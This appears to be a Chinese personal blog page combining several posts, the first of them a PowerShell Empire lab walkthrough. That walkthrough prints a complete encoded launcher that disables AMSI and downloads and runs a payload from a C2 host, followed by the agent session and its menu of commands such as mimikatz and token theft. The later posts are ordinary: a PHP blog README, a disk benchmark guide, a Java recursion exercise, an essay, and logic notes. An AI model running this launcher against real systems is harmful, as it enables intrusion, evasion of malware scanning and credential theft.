(Empire: listeners) > launcher powershell HttpListener
powershell -noP -w 1 -enc  WwBSAEUAZgBdAC4AQQBTAFMAZQBtAGIAbABZAC4ARwBlAFQAVABZAHAAZQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQB8AD8AewAkAF8AfQB8ACUAewAkAF8ALgBHAEUAVABGAGkAZQBMAGQAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMAZQB0AFYAQQBsAHUAZQAoACQAbgB1AEwAbAAsACQAVABSAFUAZQApAH0AOwBbAFMAWQBzAFQAZQBtAC4ATgBFAFQALgBTAEUAUgB2AEkAYwBFAFAAbwBpAG4AdABNAEEATgBhAEcAZQByAF0AOgA6AEUAWABwAGUAQwB0ADEAMAAwAEMAbwBuAHQAaQBuAFUARQA9ADAAOwAkAHcAQwA9AE4ARQBXAC0ATwBiAGoARQBjAFQAIABTAFkAUwB0AEUATQAuAE4AZQBUAC4AVwBlAGIAQwBsAGkARQBOAFQAOwAkAHUAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAIABXAE8AVwA2ADQAOwAgAFQAcgBpAGQAZQBuAHQALwA3AC4AMAA7ACAAcgB2ADoAMQAxAC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbwAnADsAJAB3AGMALgBIAEUAQQBkAEUAUgBzAC4AQQBEAGQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJAB3AGMALgBQAHIATwBYAFkAPQBbAFMAWQBzAFQAZQBNAC4ATgBFAFQALgBXAEUAYgBSAEUAUQB1AEUAcwBUAF0AOgA6AEQARQBmAGEAdQBsAFQAVwBFAEIAUAByAE8AWAB5ADsAJABXAEMALgBQAHIATwBYAHkALgBDAFIAZQBEAGUATgBUAEkAQQBsAHMAIAA9ACAAWwBTAHkAUwBUAEUAbQAuAE4ARQB0AC4AQwBSAEUARABFAG4AVABJAGEAbABDAEEAQwBoAGUAXQA6ADoARABlAEYAQQB1AGwAdABOAEUAdAB3AG8AcgBLAEMAcgBlAGQARQBuAFQASQBhAEwAUwA7ACQASwA9AFsAUwB5AFMAVABFAG0ALgBUAGUAWAB0AC4ARQBuAGMAbwBkAEkATgBnAF0AOgA6AEEAUwBDAEkASQAuAEcARQB0AEIAWQB0AGUAcwAoACcATgBMAGcAcAAyAHIARwBqAFMAdQB9AGsAJQBSAGwAVQBjACoAewB6AEYAOgBhAEsARABDAG4AWwBxAGUAdgB+ACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAHIARwBTADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAFsAJABfACUAJABLAC4AQwBvAFUATgB0AF0AKQAlADIANQA2ADsAJABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASgBdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAoACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAFMAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQAUwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAGIAeABPAHIAJABTAFsAKAAkAFMAWwAkAEkAXQArACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAdwBDAC4ASABFAGEARABlAHIAUwAuAEEAZABEACgAIgBDAG8AbwBrAGkAZQAiACwAIgBzAGUAcwBzAGkAbwBuAD0AMQBPADAAZQBSAHUAYwBrAHAAdQBJAHgAYgBiAFYAVQA4AGwAegBOAHUAawA1AEUAVwA1ADgAPQAiACkAOwAkAHMAZQByAD0AJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAwAC4AMQAwADEAOgA4ADkAJwA7ACQAdAA9ACcALwBuAGUAdwBzAC4AcABoAHAAJwA7ACQARABhAFQAQQA9ACQAVwBDAC4ARABPAHcAbgBMAG8AYQBkAEQAQQBUAGEAKAAkAHMAZQBSACsAJABUACkAOwAkAEkAdgA9ACQAZABhAHQAQQBbADAALgAuADMAXQA7ACQARABhAFQAQQA9ACQARABBAHQAYQBbADQALgAuACQARABBAFQAYQAuAGwAZQBOAGcAVABIAF0AOwAtAEoATwBpAG4AWwBDAGgAQQByAFsAXQBdACgAJgAgACQAUgAgACQARABBAFQAYQAgACgAJABJAFYAKwAkAEsAKQApAHwASQBFAFgA
(Empire: listeners) > [+] Initial agent 1R8T9BNA from 192.168.0.100 now active

(Empire: listeners) > agents

[*] Active agents:

  Name            Lang  Internal IP     Machine Name    Username            Process             Delay    Last Seen
  ---------       ----  -----------     ------------    ---------           -------             -----    --------------------
  1R8T9BNA        ps    192.168.1.133   DESKTOP-NO77T28 DESKTOP-NO77T28\restpowershell/4060     5/0.0    2017-05-21 20:14:12

(Empire: agents) >

然后我们把刚刚生成的这么一大坨丢进一个cmd运行。(我的火绒弹出一个拦截，说powershell要联网)就返回一个agent。而那个cmd一闪而过。

就相当于得到一个MSF那样的会话了

目标简单探索

还是存在一些问题，就简单的贴两个info给各位看看了。

执行命令等待时间很长不知道为什么。尤其是列出文件目录，几乎没有反应。提权没有成功。

(Empire: listeners) > agents

[*] Active agents:

  Name            Lang  Internal IP     Machine Name    Username            Process             Delay    Last Seen
  ---------       ----  -----------     ------------    ---------           -------             -----    --------------------
  1R8T9BNA        ps    192.168.1.133   DESKTOP-NO77T28 DESKTOP-NO77T28\restpowershell/4060     5/0.0    2017-05-21 20:14:12

(Empire: agents) > help

Commands
========
back              Go back to the main menu.
clear             Clear one or more agent's taskings.
creds             Display/return credentials from the database.
exit              Exit Empire.
help              Displays the help menu.
interact          Interact with a particular agent.
kill              Task one or more agents to exit.
killdate          Set the killdate for one or more agents (killdate [agent/all] 01/01/2016).
list              Lists all active agents (or listeners).
listeners         Jump to the listeners menu.
lostlimit         Task one or more agents to 'lostlimit [agent/all] [number of missed callbacks] '
main              Go back to the main menu.
remove            Remove one or more agents from the database.
rename            Rename a particular agent.
searchmodule      Search Empire module names/descriptions.
sleep             Task one or more agents to 'sleep [agent/all] interval [jitter]'
usemodule         Use an Empire PowerShell module.
usestager         Use an Empire stager.
workinghours      Set the workinghours for one or more agents (workinghours [agent/all] 9:00-17:00).

(Empire: agents) > interact 1R8T9BNA
(Empire: 1R8T9BNA) > help

Agent Commands
==============
agents            Jump to the Agents menu.
back              Go back a menu.
bypassuac         Runs BypassUAC, spawning a new high-integrity agent for a listener. Ex. spawn &lt;listener&gt;
clear             Clear out agent tasking.
creds             Display/return credentials from the database.
download          Task an agent to download a file.
exit              Task agent to exit.
help              Displays the help menu or syntax for particular commands.
info              Display information about this agent
injectshellcode   Inject listener shellcode into a remote process. Ex. injectshellcode &lt;meter_listener&gt; &lt;pid&gt;
jobs              Return jobs or kill a running job.
kill              Task an agent to kill a particular process name or ID.
killdate          Get or set an agent's killdate (01/01/2016).
list              Lists all active agents (or listeners).
listeners         Jump to the listeners menu.
lostlimit         Task an agent to change the limit on lost agent detection
main              Go back to the main menu.
mimikatz          Runs Invoke-Mimikatz on the client.
psinject          Inject a launcher into a remote process. Ex. psinject &lt;listener&gt; &lt;pid/process_name&gt;
pth               Executes PTH for a CredID through Mimikatz.
rename            Rename the agent.
revtoself         Uses credentials/tokens to revert token privileges.
sc                Takes a screenshot, default is PNG. Giving a ratio means using JPEG. Ex. sc [1-100]
scriptcmd         Execute a function in the currently imported PowerShell script.
scriptimport      Imports a PowerShell script and keeps it in memory in the agent.
searchmodule      Search Empire module names/descriptions.
shell             Task an agent to use a shell command.
sleep             Task an agent to 'sleep interval [jitter]'
spawn             Spawns a new Empire agent for the given listener name. Ex. spawn &lt;listener&gt;
steal_token       Uses credentials/tokens to impersonate a token for a given process ID.
sysinfo           Task an agent to get system information.
updateprofile     Update an agent connection profile.
upload            Task an agent to upload a file.
usemodule         Use an Empire PowerShell module.
workinghours      Get or set an agent's working hours (9:00-17:00).

(Empire: 1R8T9BNA) > sysinfo
(Empire: 1R8T9BNA) > sysinfo: 0|http://192.168.0.101:89|DESKTOP-NO77T28|rest|DESKTOP-NO77T28|192.168.1.133|Microsoft Windows 10 教育版|False|powershell|4060|powershell|5

(Empire: 1R8T9BNA) > info

[*] Agent info:

    nonce               7085646166885544
    jitter              0.0
    servers             None
    internal_ip         192.168.1.133
    working_hours       
    session_key         bYy3w$)K`&gt;-.Jj;&amp;@vEDSaMP|meFZT(!
    children            None
    checkin_time        2017-05-21 20:14:06
    hostname            DESKTOP-NO77T28
    id                  1
    delay               5
    username            DESKTOP-NO77T28\rest
    kill_date           
    parent              None
    process_name        powershell
    listener            HttpListener
    process_id          4060
    profile             /admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT
                                6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
    os_details          Microsoft Windows 10 ???
    lost_limit          60
    taskings            
    name                1R8T9BNA
    language            powershell
    external_ip         192.168.0.100
    session_id          1R8T9BNA
    lastseen_time       2017-05-21 20:18:37
    language_version    5
    high_integrity      0

(Empire: 1R8T9BNA) >

[一些优秀的个人博客]

1610097446

yukikaze的小屋

↑在学习中,前阵子搞了个啥专利,反正我不太懂.

iceH’s Blog

↑信安圈多年的大表哥

FGHRSH 的博客

↑一个特别能折腾的大佬,玩意挺多,看着挺过瘾的.

四季天书

↑大佬灰机灰灰灰.

胡东东的博客

↑看Github就知道是个狠人. 他最近改名叫东哥笔记了.

萌小恩博客

↑”少年心意，一如明月松间的青石流水，那些年里看到了，却不懂。”——这位大佬如是说道(我也不懂..)

时光途径’Blog

“咦？混进来个垃圾” (我才是)

轻量博客系统:Ugly-PHP-Blog

1610305393

Ugly-PHP-Blog

(本文就是Github README.md)
Ugly-PHP-Blog

简介

也叫作UPB,这是我自己写的博客系统,也正运行于我的服务器之上,域名之下.

RESTKHZ | 休止千鹤

麻雀虽小,五脏俱全.

设计目标是轻量,简单,安全的php博客系统.

Markdown编辑, 文章分类管理, 支持评论, 计数器, 单用户, 具有简单SEO功能.

你可以克隆下来玩玩,看看怎么写的,目前功能有些粗糙,你未必会喜欢.(如果你有兴趣可以直接翻到安装)

目前版本定在0.8,~~可能长期会在0.9.999~~

欢迎各位提出建议指正

如果能有 20 stars 我马上加班加点在能力范围之内添加功能修(写)BUG!

开发基于自写的玩具:Ugly-PHP-Framework.毕竟自己写的框架不做出一些东西是没有价值的.~~(尽管做出的东西价值也不大)~~

特性

Markdown文章编辑

我还是很喜欢Markdown写作的. 相信很多人也是. 有时候我会从一些Markdown笔记里直接复制笔记发出来,挺方便.(感谢Editor.md)后台写作的时候会自动存入localstorage备份防止丢失.

文章可以在首页,分类中隐藏.也可以设置拒绝访问.

评论功能

评论功能并非第三方提供. 如果是管理员的回复,会带有一个标记. 总体风格模仿Wordpress.简单的引用功能.

后台可以删除评论,但是目前没做审核功能是个缺陷. 防Spam方面我是用JS玩了一个小把戏,因为很多spam bot没有JS解析,所以加了一个简单的JS渲染了一个隐藏表单,后端会进行检查是否渲染判断是否是bot.

一定的SEO,LaTeX支持,简单的基于Session计数

SEO还是有一定重要性的,网站动态生成sitemap,也可以自己手写meta description.简单的路由让博客站极为扁平.keyword不太重要,不急,以后可以慢慢做个Tag当keyword. 网站使用Session计数,过滤了一部分的爬虫UA. 真的要统计还是用第三方平台更靠谱一些. 至于Latex用的MathJax,这个优点有点牵强,任何网站都可以轻松的自己加自己配置.

轻小

因为穷,租不起好的服务器,所以数据库使用了Sqlite.对于512M的内存绰绰有余.Sqlite不需要占用太大内存,我的博客站服务器没跑什么东西,内存占用日常80MB左右浮动,我相信256M的机器也能带的动这个博客系统. 另一方面, 博客站流量并不太大,数据量小的时候不同数据库性能其实没有明显差距.反而装Mysql在512M的机器上有时候会触发OOM, 租贵了没访客也浪费. 什么?小钱你不在乎?nevermind….

因为Ugly-PHP-Framework的设计,模型层仅使用PDO对象,不care是什么数据库,而对象的初始化封装在一个文件里,真的未来万一哪天做大了也可以换mysql.

UPB安全吗?

我只能说比较安全.我不能做出承诺,如果你了解信息安全,没有人能承诺100%的绝对安全.

SQLi: 框架使用pdo,几乎完全进行了预处理.就算是访客统计pid没有pdo,也强制把它转换成int进行消毒. 自己测试的时候没有发现SQL注入.
XSS: 前台评论交互没有发现XSS, 但是后台因为一些需要标签和特殊字符的问题,后台存在潜在XSS
上传漏洞: 至于图片上传完全交给第三方图床.
密码学: 密码使用Bcrypt进行Hash,即便你的备份被人偷了,密码hash也不容易被还原.
数据安全: 后台有数据库备份功能, 用不用那真不是我的事了.
危险函数: 没有使用一切命令执行函数.
文件包含: 之前一个版本可能有潜在的文件包含问题,但是路径重写对攻击造成了阻碍. 无论如何,我在路由控制器周围还是移除了: ./和\0

缺陷

学了两个星期Vue.js做的后台, 非专业开发, 就那样吧.
Categories管理不完善
轻量这点和Hexo,Ghost没有可比性.
你克隆下来的,Twig模板里页底依旧是我的信息,这边是写死的.目前你得自己动手改模板.
没有在windows平台下测试过,已知的,后台的系统负载在windows平台下肯定不会正常显示.
没有安装脚本,未来在我认为完成度足够的时候会加上.
没有生态.

未来

会缓慢更新的. 只要我自己网站没有放弃. 我这个域名下的博客诞生于2016年, 未来应该还会继续下去.

会优先完善基础功能.

安装试用

因为开发测试还在进行,所以并不打算在现阶段制作安装脚本,所以需要手动配置

另外后台管理项目(ugly-ap)由于使用Vue.js, ajax需要手动指定api域名,需要手动编译,并非开箱即用.

你应该先在环境中布置php环境, php尽可能安装7.x版本. 安装并且打开扩展:pdo,xml

系统记得装上sqlite3

目录结构:

ugpf 核心文件
data 数据库文件,sqlite.db,旁边的sql文件是数据库结构
public 这个目录是网站根目录,安全起见,必须是这个.

首先,你需要进入data目录编辑数据库sqlite.db,进入users表,name字段是显示名称,user是登录名称.

密码现在是空的,你需要自己生成Bcrypt hash.你可以打开终端如此操作,<passwod>是你的密码:

php -r 'echo password_hash("<password>",PASSWORD_BCRYPT);'

你会获得一个hash,将它复制出来,现在在终端输入sqlite3 ./sqlite.db导入数据库中:

$> sqlite3 ./sqlite.db
SQLite version 3.33.0 2020-08-14 13:23:32
Enter ".help" for usage hints.
sqlite>

输入SQL语句,<hash>是你的密码哈希:

UPDATE users SET password = '<hash>' WHERE id = 1;

然后你就可以把文档根指向public,启动web服务.如果只是本地测试的话,你也可以cd去public目录使用php内置web服务看看php -S 127.0.0.1:8000

如果可以访问,功能正常,那么一切都好.

接下来你可以前去./ugpf/view中修改html格式模板,DIY你自己的博客风格.

树莓派Linux图形化硬盘读写速度测试(KDiskMark)

1610400795

前言

很多年前我写过一个和树莓派测试有关的文章,但是太过时了.我不会搬运过来,打算从新写一篇,利用图形化的工具在树莓派上测试磁盘读写速度.

工具介绍

很多文章有用hdparm,fio,甚至使用了dd测试磁盘性能.但是并没有人提图形化的硬盘速度测试工具.可能对没有接触过linux的用户并不是很友好.

前阵子我在Github上瞎转的时候看到了这个工具:KDiskMark
KDiskMark在Github上的链接

如果有在Windows上跑硬盘测试的读者,说不定一经发现了这款软件在UI设计几乎就是CrystalDiskMark

KDiskMark的使用也和CrystalDiskMark几乎没有区别.底层同样是使用了 Flexible I/O Tester (FIO) 而这个基于C++ Qt库图形界面可以说是非常友好了.

提供如下特性:

测试可以自己指定块大小,队列和线程的数量(4k随机还是512k随机? 你说的算.)
多语言支持(包括简体中文)
可以生成测试报告.

安装

这款软件安装也非常简单,提供了丰富的简化安装渠道.

编译好的二进制文件下载

作者已经发布了编译好的二进制文件压缩包,部分系统可以尝试直接使用. 但是目前貌似没有可以给树莓派现成使用arm编译版本
Releases

Ubuntu

sudo add-apt-repository ppa:jonmagon/kdiskmark
sudo apt update
sudo apt install kdiskmark

Arch类Linux

由于我长期使用Manjaro Linux, 在树莓派4上同样安装了Manjaro,
得益于AUR生态,安装真的太方便了.默认的官方社区生态已经包含了这款软件.

sudo pacman -Syu kdiskmark

完成

自己动手编译

如果不幸以上都没有适合你Linux系统的方法,其实也没问题.编译并不复杂.
首先确保你的编译环境:

GCC/Clang C++17 (or later)
CMake >= 3.5
Extra CMake Modules
Qt with Widgets >= 5.9

还有别忘了顺便安装fio!毕竟这款软件是基于fio的.
准备好了?克隆KDiskMark的代码,运行下面的命令进行构建.

mkdir build && cd build
cmake -D CMAKE_BUILD_TYPE=Release ..
cmake --build .

其实还有一个方法

这款软件也在snap store上.然而我并没有snap store.

sudo snap install kdiskmark
sudo snap connect kdiskmark:mount-observe
sudo snap connect kdiskmark:hardware-observe

个人的测试

这是对我自己树莓派的一张SD卡的测试.上面两个是连续1M读写,下面是随机4k.可以自己设置块的大小,线程等等.

测试过程是对一个文件的写入,通常情况下不会损坏数据.我是说,没事别对你的SSD跑测试跑个不停…

而我对这个结果也算是满意,毕竟就一张SD卡.

龙形曲线的递归生成(dragon curve)

1610793107

这是一道来自亚琛工业大学的题(RWTH Aachen University),讲到递归概念时的作业是用Java生成龙形曲线.既然做了,记录一下吧.

私认为Wiki英文版已经说的很全面了,值得参考:Dragon-curve(Wiki)

亚琛理工提供了绘图的Canvas代码,我们只需要调用drawForward画线,rotate旋转.

在弄清楚”这是什么”以后,如何转弯就成了重点,我们不难发现:
(R为右转90度,L为左转90度)

R
R R L
R R L R R L L

是在上一次迭代结果上,在每个元素两侧又添加了一对RL.
如何用递归实现呢?我在草稿纸上画了画.
我不太方便把草稿纸发出来,但是你可以根据这个特性自己手画一个满二叉树,每一层深度就是递归深度(你真的现在就要画一个,认真的),大概是:
R
R L
R L R L
这个样子.然后把这棵树”压扁”(父节点在子节点中间),后你会得到RRLRRLL
(有没有发现这其实是二叉树的中序遍历?)

好的,有思路了.我们已经解决了最关键的问题:如何旋转,
现在考虑在什么时候画线.

如果你在草稿纸上画了那个图,写了那一串RRLRRLL什么的,和树对应起来,你会发现,每一个叶节点(没有子节点的节点,最下面那一层)和其”前辈”节点是交错的.那么我们可以让叶节点画线,而其它节点只负责角度旋转.

于是我的代码就出来了.

public class Drachenkurve {

    public static int LENGTH = 10;

    public static void kurveR(Canvas s, int ordnung) {
        if (ordnung == 0) {
            s.drawForward(LENGTH);
            s.rotate(90);
            s.drawForward(LENGTH);
        } else {
            kurveR(s, ordnung - 1);
            s.rotate(90);
            kurveL(s, ordnung - 1);
        }
    }

    public static void kurveL(Canvas s, int ordnung) {
        if (ordnung == 0) {
            s.drawForward(LENGTH);
            s.rotate(-90);
            s.drawForward(LENGTH);
        } else {
            kurveR(s, ordnung - 1);
            s.rotate(-90);
            kurveL(s, ordnung - 1);
        }
    }


    public static void main(String[] args) {
        Canvas s = new Canvas();
        s.rotate(180); // Rotiert die aktuelle Ausrichtung nach oben
        kurveR(s, 10);
    }
}

Ordnung是这里的深度计数器
drawForward是画线,rotate是旋转,这两个函数来自大学提供的Canvas,毕竟大学的,我就不放出来了.

2021杂谈:2021年的博客和大学一年级的学习

1613395318

博客有一个月没有任何更新了, 最近比较忙.
这些年汉语博客生态不难发现几乎都是一些笔记,技术类的文章资料之类的. 毕竟在这些年,在博客,视频的生态之中文字所描述的一切生活感受都是没有价值的东西.为什么?

谁在意你怎么过的?
没有流量.谁不喜欢视频呢?视频也太长了,来不及看,那就压缩成为短视频.相比于大米白面的正餐,还是花样多的零食更有它的魅力.
唯独技术类的东西文档比视频更加直观清晰.

但是就算是技术博客文章,若是给linux装个打印机, make intall一个什么东西的文章, 个人认为还是没什么价值. 这显然是烂大街的内容. 我希望写一些能节约他人学习查找资料时间的东西,帮助一些学习,搞技术的人. 生活内容看心情.毕竟我这个人no life. 可以两三天不开口和别人说一句中文(自言自语除外)

这些年国内作为流量入口,搜索引擎已经开始逐渐失去它的光辉. 如果说十多年前的web2.0还是小农经济自产自销,内容创作者自己就是自己的品牌,那么很快的,就开始有大型内容社区,像地主,企业一样.这些年的营销号背后的写手编辑其实就是那些生产搬运信息的工人,替一个大型的企业做着生产. 这个时候大型企业的APP就是流量入口.几乎人人都有微博x音bilibili(这三个我至今一个都没有),每天也都要花时间在那几个APP上浏览信息. 而这些年的人工智能算法也可以很好的根据个人口味精准投喂零食. 这两年打开外卖APP连自己吃什么用户都要纠结很久, 需要用户自己主动找吃的的那种搜索引擎自然不讨好.

而至于那些营销号的”中心化”,”恶性竞争”,”产品质量”, 我不多谈.

哦,顺便说一句,在2021年2月15日,某度对我站的收录量是: 1
我不会再多考虑某度的SEO问题了. 毕竟G站和B某站很早都已经做到了全站收录,这几个月来搜索展示量无论如何超过了1k.这个博客系统设计也考虑到了SEO,我不会再做任何动作讨好那个企业.

我不知道一个博客站在未来是怎样一个定位. 毕竟这就是一个小摊子, 生产的任何东西,多半不会有搬运,不会有投喂, 就安静的放在荒郊野外某个灌木丛里, 饥人自取.

而我的博客净是一些高不成低不就的东西, 绝大多数人的博客其实也都是. 这就是一个尴尬的现状: 一个博客的内容的受众十分有限, 通常是某一个技术类别中的一个圈子其中的一个并不太宽的水平层次的人.

可以这么说, 如果一个博客没有一个团体支持内容创作, 那么它定为永远就是一个做公益的小摊子, 想做做公益的大摊子的可能微乎其微. 在现在,在未来, 必定是一个小众的东西. 做一个东西没有任何回报,没有任何成就,没有任何希望这是这些年很多个人博客快速死亡的原因.

我在大学一年级的第一学期, 依旧做一个学生.
因为之前中学我实在太垃圾,前阵子考试之前在梦中被批:”学不起就别学, 活不起就别活”
挺惊异于我大脑在不和人交流的情况下的梦境创造力.
第一学期从数学命题逻辑,积分,级数,一路杀到欧拉公式图论贝叶斯
另一条路从自动机杀到BNF,上下文无关文法. 作业里从Python,java,c一路又杀到Scheme和SML.
我一个老学渣,不得不加班加点…

难哦?难哦.

谓词逻辑/一阶逻辑

1614518879

使用了wiki内容和自己翻译了一部分英文和德文的教材,整理后作为笔记,公开出来给各位.德文可以无视.如果有错误非常希望各位能指出来!

语义和语法(Syntax und Semantik)

这一段很重要,否则后文无法理解

符号(Zeichenvorrat)

Individuenvariablen(个体变量): x,y,z或者带下标x1,x2…
Individuenkonstanten(个体常量): a,b,c或者带下标a1,a2…
Funktionssymbole(函数符号): f,g,h或者带下标
Prädikatssymbole(断言符号): P,Q,R或者带下标
Junktoren(逻辑符号):$\lor \land \lnot \dots$
Quantoren(量词): $\forall ,\exists$
Hilfszeichen: 偶尔也会有逗号之类的

项(Terme)

每个个体变量是一个项
每个个体常量是一个项
带有n个元(Stellig)的函数是一个项,而每个元也必须是项(元:可以类比参数,比如f(a,b,c)就有三个元)

注意:项是不能包含断言符号的.

公式(Prädikatenlogische Formeln)

通常用希腊字母表示

如果 t1,t2, … ,tn 为项并且P为n元断言符号,那么$P(t_1,t_2…t_n)$就是一个公式
如果$\alpha$为一个公式,那么$\lnot \alpha$是一个公式
二元运算符连接的公式$\alpha \lor \beta$是公式
如果$\alpha$是公式,$x$为自体变量,那么带有量词如$\forall x \alpha$是公式
等式: 如果$t1,t2$是项,那么$t1=t2$是公式.

例子

比如$\forall x (P(x)\lor S(x))$是公式
而$\forall f \forall x P(x,f(x))$不是公式

优先级(Bindungsregeln)

$\forall, \exists,\lnot$强于$\land$
$\land > \lor > \to > \leftrightarrow$

所以有$\forall x P(x) \lor Q(x)$, 解释为$(\forall x P(x)) \lor Q(x)$

作用域(辖域Wirkungsbereich)

一个变量可以和多个量词连接,如下:

$\forall x \exists y (P(x,y)\land \exists x (Q(x,x)\lor S(y)))$

但是这样:$P(x) \land \exists x(S(x))$后面的那个存在x就管不着P(x)了

还有这样:

$(\forall x P(x)) \lor Q(x)$

这种情况”所有x”管不到Q那里

一些名词

一个变量在作用域内被称为约束变元(gebunden)
一个变量不在作用域内被称为自由变元(Feien Variablen????)
一个公式不存在自由变元,被称为闭式(geschlossene Formel),而这才是命题.

改名

(在这里我用B来表示这个解释函数)

约束变元:
- 在同一个作用域下的同名约束变元要改名,同步改.
- 不能和别的重名
自由变元:
- 整个公式里的同名的同步改名.
- 不能和别的重名
- $\exists xB(x) = \exists yG(y)$
- $\forall x B(x) = \forall y B(y)$

公式解释(Interpretation von Formeln)

(在这里我用B来表示这个解释函数)

规则与推导

$B(P(t_1,\dots,t_n))\leftrightarrow P(B(t_1),\dots,B(t_n))$
$B(\lnot \alpha) = w$ 那么 $B(\alpha) = f$
$B(\alpha \land \beta) = w$ 那么 $B(\alpha)=w,B(\beta) = w$, “或”同理

一些基本概念(Grundbegriffe)

与命题逻辑类似,设$\alpha$是一个谓词逻辑公式

erfüllbar可满足:一个解释存在$B(\alpha) = True$
falsifizierbar可证伪:一个解释存在$B(\alpha) = False$
widerspruchvoll矛盾:一个公式所有解释都$B(\alpha)=False$
tautologisch重言:对于所有解释$B(\alpha) = True$

所以有:如果$\alpha$是矛盾的,那么它不可满足,$\lnot \alpha$重言,并且不可证伪.

语义推论(Semantische Folgerung)

同样和命题逻辑类似:

Semantischer Folgerungsbegriff

设$\alpha,\beta$为谓词逻辑公式,那么存在$\alpha \models \beta$

$\alpha \models \beta$,那么$\alpha \land \lnot \beta$矛盾
$\alpha$矛盾,那么对于所有$\beta$存在$\alpha \models \beta$

演绎推论(Deduktionstheorem)

(没有详细写,见wiki)
设alpha和beta是谓词公式,M是一个如此的公式集合,那么存在:
$M \cup {\alpha } \models \beta \Longrightarrow M \models (\alpha \rightarrow \beta)$

逻辑等价(Logische Äquivalenz)

也类似于命题逻辑
设Alpha和Beta是谓词公式并且等价,写做:$\alpha \approx \beta$

这意味着$B(\alpha) = B(\beta)$.
和
$\alpha \models \beta, \beta \models \alpha$

转化规则(Umformungsregeln)

基本规则

这边的规则和命题逻辑那篇一样.但是我还是决定重写一遍.中文翻译见命题逻辑.
设$\alpha,\beta,\gamma$为PL1公式,那么存在以下规则:

Vererbung
- $\alpha \approx \beta \Longrightarrow \lnot \alpha \approx \lnot \beta$
- $\alpha \approx \beta \Longrightarrow \gamma \land \alpha \approx \gamma \land \beta,\quad \gamma \lor \alpha \approx \gamma \lor \beta$
- $\alpha \approx \beta \Longrightarrow \exists x \alpha \approx \exists x \beta , \quad \forall x \alpha \approx \forall x \beta$
Negation: $\lnot\lnot \alpha \approx \alpha$
Idempotenz:
- $\alpha \lor \alpha \approx \alpha$
- $\alpha \land \alpha \approx \alpha$
Neutrales Element:
- $(\alpha \land \lnot \alpha) \lor \beta \approx \beta$
- $(\alpha \lor \lnot \alpha) \land \beta \approx \beta$
Kontrad. /Tautol.
- $(\alpha \land \lnot \alpha) \land \beta \approx \alpha \land \lnot \alpha$
- $(\alpha \lor \lnot \alpha) \lor \beta \approx \alpha \lor \lnot \alpha$
Kommutativität
- $\alpha \lor \beta \approx \beta \lor \alpha$
- $\alpha \land \beta \approx \beta \land \alpha$
Assoziativität
- $(\alpha \lor \beta) \lor \gamma \approx \alpha \lor (\beta \lor \gamma)$
- $(\alpha \land \beta) \land \gamma \approx \alpha \land (\beta \land \gamma)$
Distributivität
- $(\alpha \land \beta) \lor \gamma \approx (\alpha \lor \gamma) \land (\beta \lor \gamma)$
- $(\alpha \lor \beta) \land \gamma \approx (\alpha \land \gamma) \lor (\beta \land \gamma)$
De morgan
- $\lnot(\alpha \land \beta) \approx \lnot \alpha \lor \lnot \beta$
- $\lnot (\alpha \lor \beta ) \approx \lnot \alpha \land \lnot \beta$
Absorption
- $\alpha \land (\alpha \lor \beta) \approx \alpha$
- $\alpha \lor (\alpha \land \beta) \approx \alpha$

带有量词的规则

Quantorenwechsel:$\lnot(\exists x \alpha) \approx \forall x (\lnot \alpha) \quad \lnot (\forall x \alpha) \approx \exists x (\lnot \alpha)$(量词转换)
Quantortausch: $\exists x \exists y \alpha \approx \exists y \exists x \alpha$ ($\forall,\exists$均适用)
Quantorenzusammenfassung: $\exists x \alpha \lor \exists x \beta \approx \exists x (\alpha \lor \beta)$($\forall,\exists$均适用)(量词分配)
Quantorelimination: 当x不是Alpha中自由变量(元)$\exists x \alpha \approx \alpha \quad \forall x \alpha \approx \alpha$
Quantifizierung:当x不是Beta中自由变量(元) $\exists x \alpha \land \beta \approx \exists x (\alpha \land \beta)$ ($\forall,\exists$均适用,替换全部的$\land,\lor$也适用)(量词扩张\收缩率)

范式(Normalformen)

否定范式(Negationsnormalform, NNF)

定义

这里定义什么的见命题逻辑部分

转换

$\lnot \lnot \alpha \Longrightarrow \alpha$(Negation)
$\lnot (\alpha \land \beta) \Longrightarrow \lnot \alpha \lor \lnot \beta$(de Morgan)
$\lnot (\exists y \alpha) \Longrightarrow \forall y\lnot \alpha$(Quantorenwechsel)

前束范式(Pränexe Normalform, PNF)

定义

如果它可以被写为量词在前，随后是被称为母体的无量词部分的字符串。(wikipedia)

简单的理解就是把所有量词提前,量词作用域覆盖了整个公式(不知道这样理解对不对)
比如:$\forall x \exists y \forall z (P(x,y) \lor H(y,z))$

因为有量词扩张/收缩率,并且可以改名,所有的经典逻辑公式都可以转换为等价的PNF

转换

举例,来自某大学讲义:

$\forall x \lnot P(x) \land \forall x (P(x) \lor R(x)) \land \forall x( Q(x)\land \exists y R(y))$

$\approx \forall x_1 \lnot P(x_1) \land \forall x_2 (P(x_2)\lor R(x_2)) \land \forall x (Q(x) \land \exists y R(y))$(改名)

$\approx x_q \lnot P(x_1) \land \forall x_2 (P(x_2) \lor R(x_2)) \land \forall x \exists y (Q(x) \land R(y))$

$\approx \forall x_1 \lnot P(x_1) \land \forall x_2 \forall x \exists y ((P(x_2) \lor R( x_2 )) \land (Q(x) \land R(y)))$

